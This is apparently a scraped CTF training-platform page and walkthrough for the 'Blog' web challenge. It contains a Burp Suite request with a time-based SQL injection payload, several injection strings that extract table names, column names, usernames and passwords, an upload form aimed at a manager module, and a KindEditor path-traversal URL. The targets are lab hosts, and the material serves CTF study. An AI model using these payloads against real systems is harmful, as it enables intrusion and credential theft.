

<https://www.ichunqiu.com/battalion?t=1&r=56951>

CTF大本营 > 竞赛训练营

累计题目数 **264** 累计参与人数 **1324904**

赛题类型: CTF训练 综合渗透训练

比赛名称: 全部 HITCON2017 i春秋 第二届春秋欢乐赛

第三届“百越杯”福建省高校网络安全空间安全大赛 2017第二届广东省强网杯线上赛

“迎圣诞,拿大奖”活动赛题 第三届上海市大学生网络安全大赛

2017年全国大学生信息安全竞赛 第一届“百度杯”信息安全攻防总决赛 线上选拔赛

“百度杯”CTF比赛 2017 二月场 “百度杯”CTF比赛 2017年春秋欢乐赛

**“百度杯”CTF比赛 十二月场** “百度杯”CTF比赛 十一月场

“百度杯”CTF比赛 十月场 IceCTF “百度杯”CTF比赛 九月场 JCTF 2014

ISC2016训练赛——phrackCTF 2015广州强网杯 2016年全国大学生信息安全竞赛 收起

题目类型: 全部 PWN Misc Crypto **Web** Reverse Basic

上线时间 分值 参与人数 答对人数

150pt Web Blog 进阶篇

150pt Web Blog

50pt Web notebook

积分榜

总排名

排名

1

2

3

4

5 刘功

6

7

8

9

10

500

Writeup

<https://xuanxuanblingbling.github.io/ctf/web/2018/03/21/blog/>

title=1&content=q',sleep(3)),('a','a','a','a'))%23

Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry Lau - Unlimited by mxcx@fossecv

Target: http://6495324eb2f949ada4b327bcae7c783431ba11b5e9a24834.changame.ichunqiu.com

Request

Raw Params Headers Hex

POST /post.php HTTP/1.1

Host: 6495324eb2f949ada4b327bcae7c783431ba11b5e9a24834.changame.ichunqiu.com

Content-Length: 49

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://6495324eb2f949ada4b327bcae7c783431ba11b5e9a24834.changame.ichunqiu.com

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_13\_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.4044.122 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://6495324eb2f949ada4b327bcae7c783431ba11b5e9a24834.changame.ichunqiu.com/post.php

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,dasg=0.7

Cookies: ci\_session=01bd1ea50eac430217db03c8e03ec2205a283b; chkhphone=ac7x2p3h0p1achhNubNqy1QUi00000; Hm\_lvt\_2d0601bd28de7d49818249cf3d59543=1588127072; Hm\_lvt\_2d0601bd28de7d49818249cf3d59543=1588127100; PHPSESSID=1vdhkatg3p413fj6dgpodv0; jsolid\_bmed9p7c7f46ae95d2a46aeb2b2b56

Connection: close

title=1&content=q',sleep(3)),('a','a','a','a'))%23

Response

Raw Headers Hex HTML Render

<script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>

</endif-->

<script charset="utf-8">

<script charset="utf-8">

<script src="kindeditor/kindeditor.js"></script>

<script src="kindeditor/lang/zh-CN.js"></script>

<script>

KindEditor.ready(function(K) {

window.editor =

K.create('#editor\_id');

</script>

</head>

<body>

<div class="container">

<div class="row clearfix">

<div class="col-md-12

column">

navbar-default" role="navigation">

<nav class="navbar

class="navbar-header">

<button type="button" class="navbar-toggle"

data-toggle="collapse"

data-target="#bs-example-navbar-collapse-1">

<span class="sr-only">Mini-Blog/>

<span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button>

<a class="navbar-brand" href="index.php">Mini-Blog/</a>

</div>

<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">

<ul class="nav navbar-nav">

<li class="active">

<a href="user.php">user</a>

</li>

</ul>

</div>

0 matches

2,597 bytes | 3,116 millis

0','1'),('111',(select group\_concat(table\_name) from information\_schema.tables where table\_schema=database()),'

0','1'),('222',(select group\_concat(column\_name) from information\_schema.columns where table\_name='users'),'

0','1'),('333',(select username from users limit 0,1),'

```
0','1'),('444',(select password from users limit 0,1),'
```

```
<body>
  <form name="uploadform" method="POST" enctype="multipart/form-data"
action="http://a0a4658b4ffd4fd18c31e517298bdab2354db44e8a76409e.game.ichunqiu.com/blog_manage/manager.php?
module=manager&name=php">
  uploadfile1:<input type="file" name="file1" size="30" />
  <input type="submit" name="submit" value="submit">
</form>
</body>
```

19-10-1997

编辑器漏洞

[http://10ca699235cf45598f583c177d6b6fbb6f14ab5b42b84562.changame.ichunqiu.com/kindeditor/php/file\\_manager\\_json.php](http://10ca699235cf45598f583c177d6b6fbb6f14ab5b42b84562.changame.ichunqiu.com/kindeditor/php/file_manager_json.php)  
[path=../../../../../../tmp/](#)